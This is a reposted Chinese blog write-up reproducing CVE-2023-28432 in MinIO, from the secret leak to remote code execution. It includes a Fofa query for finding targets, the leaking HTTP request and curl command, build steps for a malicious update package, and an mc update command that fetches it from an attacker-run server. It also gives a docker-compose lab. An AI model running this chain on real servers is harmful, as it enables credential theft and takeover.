0


CVE-2023-28432 MiniO信息泄露漏洞复现

在这里插入图片描述

CVE-2023-28432 MiniO信息泄露漏洞

MiniO 是一个基于 Apache License v2.0 开源协议的对象存储服务。它兼容亚马逊 S3 云存储服务接口,非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等

在集群部署的 Minio 中,未授权的攻击者可发送恶意的 HTTP 请求来获取 Minio 环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录 Minio,分布式部署的所有用户都会受到影响,单机用户没有影响

Fofa:title="MinIO Browser" || banner="MinIO" || header="MinIO"

影响版本:

RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z

,browser 登陆页面如下

截屏2023-03-25 16.21.53

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.69.81:9000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
curl -XPOST http://192.168.186.148:9003/minio/bootstrap/v1/verify

截屏2023-03-25 16.17.28

从信息泄漏到RCE复现

MinIO 提供了一个非常方便的功能,可以通过 mc「MinIO客户端」进行服务器管理,通过第一步获取到管理员账号密码之后使用 mc 进行服务器升级,原理可以看这篇文章:MinIO从信息泄漏到RCE复现

首先通过 mc 连接远程的 MinIO 服务器

linux 安装 mc 命令
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x ./mc

连接命令
./mc aliasset myminio http://192.168.31.8:9000 minioadmin miniopassword

截屏2023-03-28 11.56.32

在执行升级命令后,默认会从官方服务器下载最新版进行升级,关键在于升级地址是可以自定义的,企业如果是内网环境可以指定自己的更新地址以便于升级

整个更新流程:验证管理员权限→获取最新版本→获取最新版本的 sha256sum 信息→下载并验证 sha256sum →验证无误后替换自身并重启,虽然sha256 我们不可控,但是用于验证的 sha256sum 文件是我们可控的,跟进相关代码可以发现,envMinisignPubKe 默认为空,导致签名校验失效,所以我们可以构造恶意升级包,最终形成RCE

恶意升级包下载地址:https://github.com/AbelChe/evil_minio,使用以下命令去生成升级所需文件,下载包会比较多需要一个良好的网络环境

evil_minio-main % CGO_ENABLED=0GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath &&mv minio minio.RELEASE.2023-03-22T06-36-24Z && shasum -a 256 minio.RELEASE.2023-03-22T06-36-24Z > minio.RELEASE.2023-03-22T06-36-24Z.sha256sum

在生成文件目录下使用 python 启动一个简易 http 服务器,确保可以远程访问

python3 -m http.server

使用以下命令去升级 minio

mc admin update myminio http://192.168.186.1:8000/minio.RELEASE.2023-03-22T06-36-24Z.sha256sum -y

截屏2023-03-28 17.11.56

升级过程中会去访问 web 服务下载升级包,可以看到访问了两次,第一次访问 sum 文件,第二次访问升级文件

截屏2023-03-28 17.11.17

构造恶意的更新指令后提示正常更新,并且执行了我们提供的恶意程序,但是替换了恶意程序之后,原本的MinIO服务会中断,所以想要无损利用需要考虑基于源程序进行魔改,并且这个漏洞的利用与部署方式无关,只要获取到了管理员账号密码就能实现恶意升级

升级成功后可以执行任意命令

截屏2023-03-28 17.22.37

可能会遇到的问题

  1. [not our bug] Unexpected client ‘admin’ API version found ‘v3’, expected ‘v2’, please downgrade the client to older releasesminio 版本太低无法,mc 版本太高
  2. 使用 mc update升级过程中提示「缺失minisig文件」截屏2023-03-28 17.10.35原因:docker启动的环境,docker环境在默认情况下存在MINIO_UPDATE_MINISIGN_PUBKEY 环境变量解决方法:docker环境在默认情况下是无法RCE的,需要清除这个环境变量,比如在docker-compose.yml中加入environment:MINIO_UPDATE_MINISIGN_PUBKEY:在没有该值的漏洞版本的情况下,可以绕过完整性检查,也就不会请求.minisig文件

参考

  • CVE-2023-28432 Minio信息泄露导致RCE
  • MinIO从信息泄漏到RCE复现

docker-compose

version:'3.7'# starts 4 docker containers running minio server instances. Each# minio server's web interface will be accessible on the host at port# 9001 through 9004.services:minio1:image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio1
    volumes:- data1-1:/data1
      - data1-2:/data2
    ports:-"9001:9000"environment:MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:command: server http://minio{1...4}/data{1...2}volumes:- /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged:truerestart: always
    healthcheck:test:["CMD","curl","-f","http://localhost:9000/minio/health/live"]interval: 30s
      timeout: 20s
      retries:3minio2:image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio2
    volumes:- data2-1:/data1
      - data2-2:/data2
    ports:-"9002:9000"environment:MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:command: server http://minio{1...4}/data{1...2}volumes:- /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged:truerestart: always
    healthcheck:test:["CMD","curl","-f","http://localhost:9000/minio/health/live"]interval: 30s
      timeout: 20s
      retries:3minio3:image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio3
    volumes:- data3-1:/data1
      - data3-2:/data2
    ports:-"9003:9000"environment:MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:volumes:- /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged:truerestart: always
    healthcheck:test:["CMD","curl","-f","http://localhost:9000/minio/health/live"]interval: 30s
      timeout: 20s
      retries:3minio4:image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio4
    volumes:- data4-1:/data1
      - data4-2:/data2
    ports:-"9004:9000"environment:MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:command: server http://minio{1...4}/data{1...2}volumes:- /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged:truerestart: always
    healthcheck:test:["CMD","curl","-f","http://localhost:9000/minio/health/live"]interval: 30s
      timeout: 20s
      retries:3## By default this config uses default local driver,## For custom volumes replace with volume driver configuration.volumes:data1-1:data1-2:data2-1:data2-2:data3-1:data3-2:data4-1:data4-2:

标签: 网络安全

本文转载自: https://blog.csdn.net/q20010619/article/details/130425689
版权归原作者 OceanSec 所有, 如有侵权,请联系我们删除。

“CVE-2023-28432 MiniO信息泄露漏洞复现”的评论:

还没有评论